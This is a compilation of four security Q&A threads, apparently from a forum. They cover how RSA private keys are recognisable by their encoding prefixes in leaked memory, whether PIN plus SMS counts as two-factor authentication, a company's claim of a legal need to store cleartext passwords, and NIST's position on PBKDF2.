This got me thinking, assuming the worst case scenario, that your Heartbleed vulnerable server had echoed back memory containing your private key... how would the attacker be able to differentiate it from other memory contents, or uninitialized memory, or what have you?  Is there a header/footer, or a telltale pattern in the key data itself?  I know some RSA Key forms (PEM/base64) have headers/footers in the file (-----BEGIN FOO BAR KEY----- and -----END FOO BAR KEY-----), though I'm having trouble imagining those strings loaded into memory.  Is it maybe given away by having something recognizable using a pointer to it?

It doesn't seem like something you can brute force (trying every X bit combination of memory content against 64 KB of memory seems like it would generate an astronomically large number of permutations).

So, how's it done?  How is a cryptographic key in memory recognized as a cryptographic key?  And in a related question, is the answer different or the same for a symmetrical crypto key? (such as you might extract with a cold boot attack against a system using full disk encryption, for example.)

Yes.  Most private keys have an easily identifiable format.

If its say an RSA private key generated with openssl, they have a specific format e.g., will always start with the same three bytes depending on key size:

30 82 01 (for 768 bit key or MIIB in base64)
30 82 02 (for 1024 bit key or MIIC in base64),
30 82 04 (for 2048 bit key or MIIE in base64),
30 82 09 (for 4096 bit key or MIIJ in base64).

There are some other types of formats that the private key can be stored in as well.

You can test this yourself with openssl using the commands: openssl genrsa 1024 (1024 means 1024 bit key to see the key in its base64 representation.
)

For more documentation on the format see this StackOverflow answer: Where can i find some documentation on the format of an RSA public key?


Does a hardware generated pin plus SMS verification count as two factor authentication? I am  a little confused about the definition of two factor authentication. Does a login method containing a hardware generated pin and SMS verification constitute two factor authentication?

Strictly speaking 2FA only means two factors are used to authenticate a user.

What we usually see is a password based authentication coupled with an SMS or app (e.g. RSA Secure ID or Google Authenticator) generated OTP (One-Time Password) code.

In your example, two factors are used.

Hardware generated PIN
SMS verification

However this doesn't comply with the best practice where at least two of the following principles are considered.

Who you are (Identification), like just giving your username.
What you know (1st Authentication), like giving your password.
What you have (2nd Authentication), like giving an OTP from a token/app.
What you are (3rd Authentication), like giving IRIS-scan or fingerprint (although this is debatable because some state that bio-metrics is a means of Identification).

Both the SMS and the hardware generated PIN are in the category 'What you have'. If you use two 'What you have' factors, both are equally likely to be stolen [Remember why noting down passwords is a bad practice.]


Is there any legal reason to save a cleartext password? I called customer service of a well known company and discovered that the operator had the ability to view my website password in clear text on her screen.

I asked her about this and she defended the policy saying it was for FCC (Federal Communications Commission in the USA) compliance.

I've never heard of this requirement, and would love to know if any industry is required to keep a clear text version of the password, or if the IT manager responsible for this is referenced in this popular SO question.

Is there any legitimacy to the representatives claim that a clear-text password is required by law?

Update 1:

I called the manager for more information.  Their reasoning for knowing the cleartext password is related to "CPNI", or Customer Proprietary Network Information.  I will need to research this topic more.

The only instance where I can think of the FCC requiring that a password be clear is related to amateur radio, and even that isn't truly the case.

In six years at an audit firm, and all in everything I've ever read including a lot of court briefings, I've never heard anything that hints that such madness is actually justified anywhere.

It's not uncommon for CSRs to do a bit of social engineering. Their job is often much easier if they say it's required by something outside their company.


Does NIST really recommend PBKDF2 for password hashing? We hesitated between BCrypt and PBKDF2 for password hashing. In many forums and blogs people say something like "In their Special Publication SP 800-132 NIST basically recommends using PBKDF2 for password hashing."

This may be a very important argument for our client (they adore standards). But I still cannot read this recommendation in plain text... So I can't claim it comfortably. In short NIST more or less say:

  The derived keying material is called a Master Key (MK), denoted as
  mk. The MK is used either 1) to generate one or more Data Protection
  Keys (DPKs) to protect data, or 2) to generate an intermediate key to
  protect one or more existing DPKs or generated from the MK using an
  approved Key Derivation Function (KDF) as defined in [2]. The MK shall
  not be used for other purposes.

Is there such a recommendation or this is just a myth?

The recommendation is for PBKDF2 to be used as an algorithm for generating a cryptographic key from a password, not for hashing a password for safe storage for authentication purposes. (I trust you're salting as well?) So the answer is no, for your use case there is no such recommendation. This doesn't mean it's not suitable, but there isn't a NIST recommendation to cite.